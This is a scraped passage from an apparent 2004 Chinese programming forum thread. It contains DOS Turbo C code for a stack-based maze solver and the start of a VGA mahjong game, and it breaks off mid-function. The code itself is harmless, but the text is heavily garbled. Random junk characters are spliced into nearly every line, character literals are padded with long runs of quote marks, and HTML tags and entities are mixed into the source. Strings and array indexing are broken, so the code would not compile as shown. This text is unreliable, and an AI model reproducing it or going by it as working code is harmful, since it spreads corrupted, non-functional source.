! E" V) V' z! b% w- J4 E/* Mark the position seat. */  c/ B2 ]% {. V1 d( J0 K
{! A, m! m3 u5 r- {
maze[seat.x][seat.y].mark=-1;
, q" A8 P# `% w) l: A: @/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
' E5 i$ Q$ f2 g$ {# c} /* MarkPrint */
7 H( _/ N8 N- _/ X; [void FootPrint(PosType curpos)
. [# v2 r4 a8 F- j! ~+ z0 e/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */7 J6 L) H$ W" r/ b9 F6 [
{3 n- ^$ k3 ]( m
maze[curpos.x][curpos.y].foot=1;
0 \- B2 n' Q  f! h" @$ V: e} /* FootPrint */  r; |: }( i" i9 f
PosType NextPos(PosType seat,int di)
) f5 M; F( }- b$ z+ X0 O1 m{# J& j1 ^, H' L4 Y- [9 T
switch(di)4 w; |# |( x) ]' G
{* b; x3 i! P5 P$ I3 S
case 1: seat.y++; return seat; /* Eastward */
2 ^, O5 W! B9 m, R  t$ @7 _5 Acase 2: seat.x++; return seat; /* Southward */
% l- O8 m% S' j: A5 _case 3: seat.y--; return seat; /* Westward */
8 S- p/ R" \& g$ |8 w' Wcase 4: seat.x--; return seat; /* Northward */
, e$ L' ~8 u! O- C! O& q; v: `default: seat.x=0; seat.y=0; return seat;
+ p: c# t# y- t9 v4 F  j}! v, \8 V6 f7 Z) o; w+ M3 @: W* O
} /* NextPos */
- S! d; ]* t# l. y  E! s+ ^  y. s' U( e
/* The key to the program. */
& V$ l1 n& o+ E5 n: E8 \* k/* Pre: The maze array &amp; the startplace &amp; the endplace.
; I; {4 F; v9 {2 w" _Post: Find the one traverse of the maze and perform the mazepath.
3 P1 ^% e: v5 T. f* L/ i1 F7 PUses: The ADT stack class.
0 @% {4 {9 K) U3 y*/; u$ I- l+ _7 p
Status MazePath(PosType start,PosType end)  [6 W4 g$ m& X7 \# _1 C
{
& g, \; J" @% }& pPosType curpos;
, g. A* V7 g$ a2 }int curstep;
3 x, A4 a/ h6 [' J; p/ h% H- eSElemType e;3 p4 R+ {1 m" r: P2 b1 w0 o) Z
Stack *s,stack;
# q% Q( g; Q% s7 d  T, |stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));8 o: e& G+ d6 J
if(!stack.base) Error("Overflow");
5 V# l; F. v- ?7 ]8 p0 Y! L! vstack.top=stack.base;3 t0 n& {) _2 Q
stack.stacksize=STACK_INIT_SIZE;9 m' \2 s  `* k+ J) o
s=&amp;stack;
- l6 g" `: R  V+ Lcurpos=start;
+ x9 C5 R% A, [- w1 R, G- C. Qcurstep=1;
7 {4 S0 ?9 W' u6 t3 ~/ Edo/ U  d' S: _( ]! n
{1 }  B3 ?! D. b& C- D1 q
if(Pass(curpos))
( C9 M& G2 _% E+ G{
: I5 p  v8 h6 V9 B$ tFootPrint(curpos);) g9 c) W8 y- P
e.ord=curstep; e.seat=curpos; e.di=1;9 }! F6 `. b; w# K
gotoxy((curpos.y+1)*2,curpos.x+2);& d6 ]5 ]4 b( }* B% s5 h. N6 N
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');6 h4 H9 m+ ?: ^2 ^4 X5 F
delay(8000); /* pospone time. */
( L3 J3 B9 x0 G: W6 a1 F- TPush(s,e);% T; o$ f- W7 `- `, L) i( O  U6 h! Z
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
% b' \" t( ?; N* K: D{
) ^! R0 e$ d# w( u) xDestroyStack(s);, _5 t$ N6 g3 m6 J: E
return TRUE;
4 y  m; i' l+ q1 `0 B9 Z}
3 p; N0 v3 X$ `9 e0 I: C& \curpos=NextPos(curpos,1); /* Try next position. */
( M" R: x8 a# \$ G2 u9 u( mcurstep++;$ d$ _9 ]' G" p! A- G( {
}
9 i6 G; S- e# X% [9 ^else. y5 v2 U, |- I, q; o1 s
{' ~2 ~& T* l7 W9 @
if(!StackEmpty(s))
- V) F9 |; B! n$ e/ p( t; Y" }! k{5 b/ P2 l& f- y* P5 ~( v
e=Pop(s,e); /* Removed e from s. */
7 V1 L% N9 H) F0 r" [8 o/ pwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked8 I+ k+ u. f' C0 T# W0 X
and s is not empty. */
/ m9 ?7 Y6 _! T& l4 B{7 v/ O- l. K5 u+ M9 d
MarkPrint(e.seat);+ U/ N9 h' H5 y
gotoxy((e.seat.y+1)*2,e.seat.x+2);
+ a$ V# l, H+ `/ d! P3 nputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
+ m; o7 G" o$ P; y: odelay(8000); /* Pospone time. */
) y# R& b3 R: H6 T; [" P2 ?( j" Ugotoxy((e.seat.y+1)*2,e.seat.x+2);0 `, `, u# A# W' r
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
* x5 p% Z/ t( L+ \e=Pop(s,e); /* Remove e from s. */
, E4 _) k7 ^' [9 _+ }- r3 A8 Kcurstep--;
  b: a$ g. D) o, s/ H6 `9 @}
+ u9 p7 S6 E( i9 rif(e.di&lt;4) /* The current position hasnot been checked. */
6 ]: q& n  i4 s{
1 ^) @/ \! a$ Ue.di++;
3 w$ O$ q6 D2 {3 j+ x- B5 [. kPush(s,e); /* Insert e into s. */
3 Z$ a6 N) H! i9 \" R( u: Fcurpos=NextPos(e.seat,e.di); /* Try next position. */' A. k  c2 c9 W7 e# L7 q9 z/ W
}
8 ?8 \$ `* I  @: s! e3 p& F5 x}
) r5 ?3 e* E" @# R}
. A$ r/ R$ F. O}
& [' ?, y# e( j: }3 |while(!StackEmpty(s));9 _) v7 y  p: T: y, O  B
DestroyStack(s);4 X' ?0 t( B$ i
return FALSE;
' a6 S/ h& R# x- b+ B} /* MazePath */
* R( l, G. |8 T+ Hvoid main()
/ r, E  z6 A0 I5 V8 }0 |7 H( C{
4 I, x( |5 u: w' b# _: [PosType start,end;
( S& x* ]* [7 D8 Q+ KCreatMaze();
% o7 M3 h* L7 Dstart.x=StartPlace.y;
+ Y2 D0 a' f9 b3 m: pstart.y=StartPlace.x;5 D+ r  O/ i6 ?0 @' P: B1 T
end.x=EndPlace.y;" f- G2 I% {- i6 F
end.y=EndPlace.x;
( s! S' D- n8 I7 X9 D: Mif(MazePath(start,end))
" c/ A, C" N* a( b* i, ?' J. j& v{
' q0 F+ y1 ^7 qgotoxy(2,22);/ a2 _5 t7 X+ D8 M; l
printf("ath found\n");
$ i+ b/ g. I5 U$ Q! k2 h6 _}# a9 G* G/ {6 l- k% D5 [
else
8 N$ p  C$ J! F: j9 M. R{; p. q" F, _; \/ V4 [. s
gotoxy(2,22);
' Z6 }- h; V+ D2 h2 P/ n! Eprintf("ath not found\n");! h/ ?9 u- w$ c' j$ q9 i
}. w5 I7 |" X8 P- Y8 g' L9 U
getch();/ m6 P, l0 [# h& Q8 L
clrscr();
5 L! ^1 f4 v8 H# j} </P></DIV>
作者: 韩冰    时间: 2004-10-4 02:36
<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
; c2 O1 b: f0 h3 B8 p. f/*天宇软件
% @( `0 o9 `& T) C4 W; Q2 u作者:上海黑暗之龙
, {/ e: A5 _% f, D+ T2002/10/307 R* K7 G/ ]% i, E  p2 W* O' _
麻将原代码*/
. Y  e9 c2 T! o! f#include "dos.h"
6 @8 q5 h- _; |+ ^5 g! R#include "stdio.h"
" w$ ?& B, {0 Z2 `! H( y#include "graphics.h"  v" W3 ^2 E' T. W) @. z' f' d
#include "bios.h"
  |' y& ?4 H/ H8 ~#include "conio.h"" B9 h  z/ \' j! [0 z
#include "stdlib.h"
. v) j& v" {" v4 G5 S+ L" i- {% `* Yunsigned char far *video_buffer=(char far *)0xA0000000L;
$ w% [; b0 r- h9 i: a#define VGA256 0x13 /*图形模式13h*/
" G, r- ^0 D/ N; j9 K; N) K5 E#define TEXT_MODE 0x03 /*普通文本模式*/2 X; E1 k7 M& H) T; @
#define SETVGA Set_Video_Mode(VGA256)
6 {) s  E7 }- u- V+ q, d$ y#define OUTVGA Set_Video_Mode(TEXT_MODE)
: f( L/ a9 p* }: `2 M#define BYTE unsigned char
. m" _/ N* I/ ^3 T#define WORD unsigned int( I& m* n. y7 C) L1 L2 H- g6 B
#define DWORD unsigned int' N+ Z0 A' E6 r1 D6 O4 v  Q8 x- }  M
#define ESC 283
4 X! |4 j9 e' k/ D#define LEFT 192002 u- C) x( D, V) h; H
#define RIGHT 197127 F" G! a- O& e
#define H 9064
6 G, G+ Q9 ?$ G. S3 F  q#define ENTER 7181
0 W/ ?9 v& v3 D1 ^, k0 h4 j" Zunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;# r, N: _4 x% t. [
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
# P. y7 O/ C2 c% Nstruct chi
0 q. T; w- _) V2 D% ?{+ \# [5 |2 T& U$ s8 h
int lg;8 @3 |6 B6 z. M) g, s( ]
int lgg;
: c2 c2 v' a. T}ch[13];
# p2 g: X5 I5 O& X$ lstruct mj( I/ L- h. H' E0 \
{ char *name; /*名字*/
- R0 g1 p) W5 aint data1; /*是否已出,无用了*/+ P) h( d; G+ p* O
int data2; /*是否在手中,1为自己,2为对方*/+ h  n: t- A; ^  U& {
int number; /*同一个花色的第几张,共4张*/( V2 V7 F8 z" H- i4 L
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
$ x9 i" K8 C9 b2 w8 C"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,$ R5 B7 q# L. j
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,/ q# J6 m3 V  x3 |+ x
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,) Q* d& ^& q5 u  p: ~
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,( U2 e. k- b; f( ]3 H
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
1 o# G* C# Z+ D+ r4 T  ~"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,7 _5 r8 N5 }0 @" z. Z% R# m
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
) `: ?9 G% t! k$ G! j$ h5 W6 t"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,) D% G9 K2 ?" z+ j( z
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
( l8 n0 \% ]1 U9 m. C"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,; q4 a5 u" l2 h/ `
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
; F+ ]" R. b1 Q8 S' C"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
/ _' W& i8 x7 R3 @  x' @"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
7 A0 ?* L$ l  u0 S  M: d# E# V"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,8 h/ @8 m, j# z8 p) u4 T( }
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
8 R2 \$ d9 V7 \"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
' O2 r* s3 W" I6 X; R"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
8 F) F2 i& G3 T9 p) W"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,9 d7 u% k2 L# r( O
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,/ D# w  ^7 V: [* k
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,) x1 Z+ j' c+ ^9 D0 o# ?& u6 q8 M
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
& n3 v- V# ~4 [0 `7 g! v8 g, y. K$ k"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
  ]. }- o+ p$ ?4 c& I- a"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,) }6 O" g$ y5 m$ U% z" E
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,6 x, T$ Z/ C, Y
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
- N( Y$ j3 ]1 `' W9 v, X/ |"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,5 A5 o! S* d" h4 r* Q- |
"34.bmp"};
  h, H' b/ {( P1 j& S4 gstruct every% r! L# [% e; a, t7 d& r
{ int *k; /*名字*/
3 K# K& o5 F3 zint oneorfour; /*同一张牌的第几张*/
5 Z8 Z9 f7 `% j! O+ Pint number; /*第几张牌136*/
& H$ Z$ ]& T+ A+ X. qint p;
2 T' p& s% R  E- D: q6 E; P5 hint g;; a# c" d* Y4 s' U! K5 ^
int c;0 e$ N5 X- O  }
int d[2];' d! L* N+ a( f+ b$ W/ j% L# s& O
};
1 c# p4 |1 O9 S+ U) ]* w2 vstruct me
3 w1 q$ X5 D2 j+ V/ p# L5 x{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/# T9 s6 d$ D) Z/ ?7 t% _
int p; /*乓对方*/
7 R2 D  d8 L. W4 L  M+ L  Jint c; /*吃对方*/
0 B+ n% [- T+ U6 M* H3 K8 M, mint g; /*杠*/4 j4 p/ [6 k) `9 j" D# T7 ^
0 C1 p6 S9 L- x( ^0 a' V
struct every pp[14]; /*存放手上的牌*/
7 O" D7 E9 n- n- m}me;
2 _# }. P2 r( p; d: istruct computer* q+ a1 ?, E" a' I) b+ q9 |  R
{ int m;
" o5 a, \6 c; O+ p" C3 W4 Fint p;! B3 K7 `% m1 s
int c;
; F4 e/ G* s, u. l3 z7 X- aint g;7 i2 g, I7 Y& c
struct every pp[14];; Q- M6 Z5 X# `5 e) G
}computer,comp;! q; E" ?, r3 |; `+ Z0 _
, F- ?" M! ^& M/ c  `2 c: ~  d( k
/* 设置调色板 */
4 w/ e; f8 @" |5 \# w, T3 B! o, Fvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)8 r, V$ r* g1 ?( Y2 x$ f! m( W
{2 M' A) l) N) m% {" B
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/( M0 k* V( y: L# V; E- [
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
9 }* a& s2 d1 j8 o( S, a( Koutportb(0x3c9,g);" @, G3 |4 F( z! f0 Q* m9 J
outportb(0x3c9,b);* x3 ?. D# s. B4 A( Z6 `1 c  I* D
}
- ^3 U) Q0 X2 |5 ^+ i* v8 I3 ?- m5 b/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/" ?$ C% j. A9 i! Y1 }) l
/* 设置显示模式的函数 */
# m! y1 s9 J0 k, L8 rvoid Set_Video_Mode(int mode)+ x. o7 p) i  g" l! V5 s
{" V% ^- U) j8 m3 `, ~1 F7 D
union REGS inregs,outregs; /*定义输入和返回寄存器*/+ o5 D) E9 ^6 S/ R" o8 B
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
/ H, [, d9 P3 w5 S, R7 w8 |inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/; K5 o% T9 @" g+ ~2 N( A/ A2 y4 ^
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/' X' v2 y' J2 Q5 K
}
8 s/ T4 K6 d( |. P! o" l5 `& Zvoid v_line(int y0,int y1,int x,unsigned int color)7 ^9 h( S9 k3 w, g
{ unsigned int address,n,temp;2 V: T8 N. E% _/ J1 ~
if(y0&gt;y1)
; w6 _4 \. k4 [' B6 O{
. F  s: e# P' Mtemp=y1;
3 Z) c( T5 Q5 L6 y, ry1=y0;
! E! C7 s# ~8 m' T/ ]y0=temp;9 }; H' A6 Q  n7 a' ^) G
}
' H, l1 {: X, laddress=320*y0+x;" q& D7 ~" @& v( C* C7 t
for(n=0;n&lt;=y1-y0;n++)
8 G) j. d; o4 E2 F, d, {{5 [, {/ n1 ?# O* A1 G8 U& f2 M* b
video_buffer[address]=color;
$ A. {; E# M7 W6 faddress+=320;' F/ @' ]+ X( {
}0 D- |7 R8 ^- ?
}
! N2 C+ O/ G- Wvoid h_line(int x0,int x1,int y,unsigned int color)6 v- U" M/ |8 ]2 L- s* C1 |
{ unsigned int address,n,temp;
9 R- z3 f9 |* n& T$ [; kif(x0&gt;x1)
0 f! @/ M* Y' e; r9 e+ i/ Q{
' J6 i, e: L; `4 _1 u* x! k% ptemp=x1;1 Y4 f5 O6 r. N& _
x1=x0;
: s" q# z5 S1 Q# s) T9 Ux0=temp;8 P$ o+ d- c9 p( O
}  A, N" {+ [! M- S
address=320*y+x0;  I& e6 t3 U/ B
for(n=0;n&lt;=x1-x0;n++)9 _- ]' v* r5 V( b5 U' S% G4 \
{4 r! q# v$ _6 U
video_buffer[address]=color;
, Q( ?( K6 l0 f1 s$ {  M" j& g2 Baddress+=1;
/ Q  b8 e# y6 H. ?0 b" f5 C}0 G! g* [/ d! Q3 S8 Z. k; v( h
}, q( n4 h+ x* Z' _9 J
void p_pixel(int x,int y,unsigned int color)3 e- T' O( B; i1 F& d  g: {
{ video_buffer[y*320+x]=color;
) l, i  r! n: G' T! t, Q}
; y! J8 [0 [1 T2 Ivoid s_square(int x,int y,int side,int color); C2 b  \- [% [; ^. D' d
{8 c0 M5 Z' Z3 Z2 s* ?" Q) T
h_line(x,x+side,y,color);/ W. S, i9 I/ F0 x, R
h_line(x,x+side,y+side,color);
& t& U" ?; S2 B& j4 Gv_line(y,y+side,x,color);
9 j0 k' |- o; C( B. X) zv_line(y,y+side,x+side,color);
+ @: y- V9 C% s+ u) M+ ^" T  d0 C}5 p  j4 X( K: g: o/ a! ?# ?
void r_rectangle(int x1,int y1,int x2,int y2,int color)$ k! {5 P4 I: X
{8 k2 n* t( i0 x; ~
h_line(x1,x2,y1,color);
. g$ H5 k, c+ y) V# th_line(x1,x2,y2,color);
( U! L+ w. {  o' S5 u1 fv_line(y1,y2,x1,color);
2 \, {+ _: G$ P" y, W/ u: mv_line(y1,y2,x2,color);/ P0 i$ b) A9 X
}
0 {7 L8 x/ K0 W0 f+ h. R9 ivoid fillRectangle(int x1,int y1,int x2,int y2,int color)2 _0 A; Q  y6 B9 B6 L
{% B' t* Z& F0 s- J
int i;4 V7 b/ K' @  _: N  q3 C; w" |
for(i=y1;i&lt;=y2;i++). B- ^3 D4 j; }+ W6 h2 f- I
{0 i3 z, W% \' y6 d6 U, ]
h_line(x1,x2,i,color);
; E0 r8 K3 b7 \! q}
$ S/ T7 `5 u" Z! U7 c0 v! {' ~  ^: `}/ p5 l2 d# d9 `1 c# q# j9 v  Z
void showbmp(int l); n- y" K1 G, G; {
{ FILE *bmp;% B" C0 H% X# z" X' ^3 L: {  ^4 `
int i,x,y;: H- }5 h# C; u! Y! v
BYTE palette[256][3];4 r# ?4 @$ B8 ^. B" w" A7 g
bmp=fopen(me.pp[l].k,"rb");& a1 C6 f: y# M6 a% ]- D7 q' q
fseek(bmp,54,SEEK_SET);
2 x$ v) E$ g$ o) l' C$ D0 C2 Nfor(i=0;i&lt;256;i++)) S% d" @$ ~3 z: s+ ^
{
- q: l8 h# T( Ypalette[2]=fgetc(bmp)&gt;&gt;2;+ b& f, ?1 {9 [" I
palette[1]=fgetc(bmp)&gt;&gt;2;
) v8 ~4 {, U0 d& npalette[0]=fgetc(bmp)&gt;&gt;2;
0 R0 ?% L4 o+ u' H+ Bfgetc(bmp);* S% ]7 v( A# y. h, A
Set_Palette(i,palette[0],palette[1],palette[2]);
9 }( x9 |% v& l}
1 ?. f- A  K' @for (y=0;y&lt;30;y++); K" u0 ]8 F  @% K4 l& \, u
for(x=0;x&lt;20;x++)# s3 W: \, {1 a4 g
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
* F  }9 c8 i4 u3 m0 I8 z* qfclose(bmp);8 e# r5 g6 k7 u% |
}! [( n. Q  v5 Q. T: d! q  @
void showbmpd(int l)5 j$ L3 U$ v5 o& y$ ^6 x
{ FILE *bmp;# I$ D# f" B( P; d
int i,x,y;' ^) l' u; k: m5 T( S! k
BYTE palette[256][3];
% a# Y3 [+ Q* t* Nbmp=fopen(me.pp[l].k,"rb");: ?8 l, p" H. J8 O( S1 ]. O
fseek(bmp,54,SEEK_SET);
1 e. p7 K( L: H; N8 K0 m- zfor(i=0;i&lt;256;i++)
( ~! ~( p/ W1 Z- f  F! j9 {{) ~- Q- u3 r: L2 I) f# X3 u* q
palette[2]=fgetc(bmp)&gt;&gt;2;
" o& B* Z/ C5 A) E+ Ipalette[1]=fgetc(bmp)&gt;&gt;2;
. O4 w* g/ V* Q  S( s* y4 epalette[0]=fgetc(bmp)&gt;&gt;2;
( X2 n) |; Q* K3 K+ f$ Ffgetc(bmp);& }- ~: P& c+ G$ U
Set_Palette(i,palette[0],palette[1],palette[2]);
7 G) g$ R. j6 A" t% `9 F}' Y: ^$ t- W5 V2 {1 r
for (y=0;y&lt;30;y++)2 p0 r8 U8 E, d$ `$ i
for(x=0;x&lt;20;x++)
! F, \* X, m7 D1 f, _9 X1 C# hpokeb(0xa000,y*320+x+zyy,fgetc(bmp));7 I0 T, [7 g5 Q. }
fclose(bmp);! D# u+ q- O  i/ \9 z
}
9 \0 ]0 N; G$ Y. g4 `# x  ovoid showybmp(int ll)& u# C6 O2 y2 {$ y' e# z5 p% q* x; E9 O
{ FILE *bmp;
2 N; R: S' c  r% v- S" O' V$ Kint i,x,y;
2 H7 v% R9 N6 g2 a) ^) W' J: l" WBYTE palette[256][3];: P2 s5 I& m, K& }
bmp=fopen(computer.pp[ll].k,"rb");
/ p! x3 ]8 L# z. U4 ]9 xfseek(bmp,54,SEEK_SET);
( m2 c2 N9 ^3 U) Y6 Ifor(i=0;i&lt;256;i++)+ W  ~8 S$ H8 {+ ]$ {0 n9 w; n
{
" X1 j' ]) i! w$ K/ ^palette[2]=fgetc(bmp)&gt;&gt;2;
) V, J8 y2 Q8 ^* V" \% r' qpalette[1]=fgetc(bmp)&gt;&gt;2;
! F; `) \" r$ D  k) e% Upalette[0]=fgetc(bmp)&gt;&gt;2;
4 \" a- [; s) E( c) xfgetc(bmp);
9 h/ t" c6 E7 X( o( h' @4 l4 E, eSet_Palette(i,palette[0],palette[1],palette[2]);
' H% |% m! |( V$ ?; v}5 |$ Q% F  I5 j' E0 C* M# z2 c8 B
for (y=0;y&lt;30;y++)
$ [8 e& f- Z. K, {' K0 e4 w% ifor(x=0;x&lt;20;x++)4 t8 f8 Z6 S: V4 J/ r; {% R, C
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
) z9 e, Q/ x" B, sfclose(bmp);
7 `0 j- f4 X/ |5 c}0 O" D$ z. E9 z& {
void showcbmp(int ll)
' v8 J  Z: Q9 F$ _1 u{ FILE *bmp;& @( H6 B2 v  s+ j& }
int i,x,y;0 ?  q7 u2 d1 |
BYTE palette[256][3];" k8 z; }% f% A2 F! G
bmp=fopen(computer.pp[ll].k,"rb");
9 k8 H1 Z- Q6 @9 ~% I& ufseek(bmp,54,SEEK_SET);
+ c7 r& Y1 q1 R$ x, z5 U% d6 pfor(i=0;i&lt;256;i++)
. @+ j& \  [' f6 C% j{
& X4 X  y% X& s8 k+ Upalette[2]=fgetc(bmp)&gt;&gt;2;5 M( Z+ U5 K3 `, D: P$ P
palette[1]=fgetc(bmp)&gt;&gt;2;6 i& z0 q$ Y; \) ]  T+ m
palette[0]=fgetc(bmp)&gt;&gt;2;, h6 t, A4 P: b: s
fgetc(bmp);
/ ~4 t& H+ M+ i& y& w9 LSet_Palette(i,palette[0],palette[1],palette[2]);5 g) l$ k/ E# g! \
}
/ V' `3 x% c- }9 H- \/ a# Ifor (y=0;y&lt;30;y++)! ?) y3 h0 d* `' B. a+ ~3 ?, O' }$ E
for(x=0;x&lt;20;x++)
- R: D  p/ z) m# B  z) Opokeb(0xa000,y*320+x+zyy,fgetc(bmp));
6 _, D" p1 g! e. pfclose(bmp);
) [/ n; Y  [2 n4 H/ H- u: r3 f0 h, q}
: r, ~2 v; O! q( {: p- @$ ~void bmpp(int number)
& J: Y; T) Y5 U: R; D{ FILE *bmp;4 K7 A5 q0 j* |8 l4 k. R
int i,x,y;) }: q) }5 ~5 R
BYTE palette[256][3];
8 s0 |  N0 f" l# p3 lbmp=fopen(m[number].name,"rb");9 J& \- i, o, {0 H+ C; P: X
fseek(bmp,54,SEEK_SET);
  C8 O3 D: x+ f; J/ rfor(i=0;i&lt;256;i++)! {6 S+ ?/ p% R0 N( B' |
{- m% P5 y/ o0 h) Z& E, d: k* `% k
palette[2]=fgetc(bmp)&gt;&gt;2;& \* \/ h" a2 V5 N. w
palette[1]=fgetc(bmp)&gt;&gt;2;3 `) n% @' F5 p- M9 l- k
palette[0]=fgetc(bmp)&gt;&gt;2;
+ Z; r2 h0 [+ a0 Zfgetc(bmp);" b" F) q& v; W. j$ U, p
Set_Palette(i,palette[0],palette[1],palette[2]);
7 t, A. [' k; a3 a}
: g: X$ @+ z% K! Hfor (y=0;y&lt;30;y++)
) i% c, D/ w) ?; Z/ ]" m+ Lfor(x=0;x&lt;20;x++)
8 H: j) R/ m6 Q' S4 j* W0 @pokeb(0xa000,y*320+x+zl,fgetc(bmp));
0 Q, L& V, Y3 A! W! p  G; `8 [fclose(bmp);4 P- B9 P" G3 N& N$ C
}) \* T  ^- o0 l: [7 G0 }5 G
void comlipai() /*整理电脑的牌*/
% c( \# Y9 m% g8 f! p{ int n,j,u;6 k# a' j: s* X& d  Q9 c0 }
int *lingshi;
! n/ [9 _6 S$ ^+ u' T4 Ffor(n=0;n&lt;computer.m;n++)+ ^* M$ b  S. i! C
for(j=n;j&lt;computer.m;j++)
& p! x$ S. W5 d) F{1 Z3 l/ l! m, k9 d+ G
if(computer.pp[n].number&gt;computer.pp[j+1].number)5 I  @1 @& ?% w4 Q. N
{0 v. D# f" M' {
lingshi=computer.pp[n].k;+ M% N* |4 J% {
computer.pp[n].k=computer.pp[j+1].k;' A- D2 w  m1 z0 x! F6 U
computer.pp[j+1].k=lingshi;
5 y1 s$ J2 B, hu=computer.pp[n].oneorfour;& H$ o/ y# \5 ~* F+ r9 t/ r# e" A! s
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
  v8 l% N& l! O9 Y2 \, c+ tcomputer.pp[j+1].oneorfour=u;+ \7 h6 x) A" U) a/ @1 I
u=computer.pp[n].number;% N0 L6 {* ^% b7 R8 u, H) q
computer.pp[n].number=computer.pp[j+1].number;
, Z4 q8 U1 p; I1 U$ [. \computer.pp[j+1].number=u;
* `0 L' x2 c2 Y4 d; B- f}% J: ~$ J7 b4 j* w0 A$ v
else
9 r! j9 o2 }/ L; g) _& q0 l6 G% Lif(computer.pp[n].number==computer.pp[j+1].number)
2 K8 D* O+ W' a9 p; b8 U- y( A) }if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
& A/ f/ v4 {. \1 b% G: g{  d! O& ^" `, V& R
lingshi=computer.pp[n].k;1 C( C9 v+ e, z5 F+ C
computer.pp[n].k=computer.pp[j+1].k;- e; H3 X3 b; Y1 z7 l3 F" L
computer.pp[j+1].k=lingshi;1 y: H; W* a' R* u/ F) `
u=computer.pp[n].oneorfour;5 P' ~( ?8 l/ g- V( l
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;' W$ M' A3 q. l$ a4 ^6 d
computer.pp[j+1].oneorfour=u;
( }% m: Z6 \2 S5 x1 z+ gu=computer.pp[n].number;6 F) D8 ~0 [8 h4 T
computer.pp[n].number=computer.pp[j+1].number;+ G, I* R% s6 y
computer.pp[j+1].number=u;
$ _) s8 b" r0 a/ E}
7 C1 n( s5 M/ q- y  a}
/ G3 l+ E. n$ F3 e, l4 P}
+ h' B: |6 T& [' Bvoid melipai()
/ ^, C9 ]) I' N( A* [& }{ int n,j,u;$ {0 a$ o' X# _% y
int *lingshi;
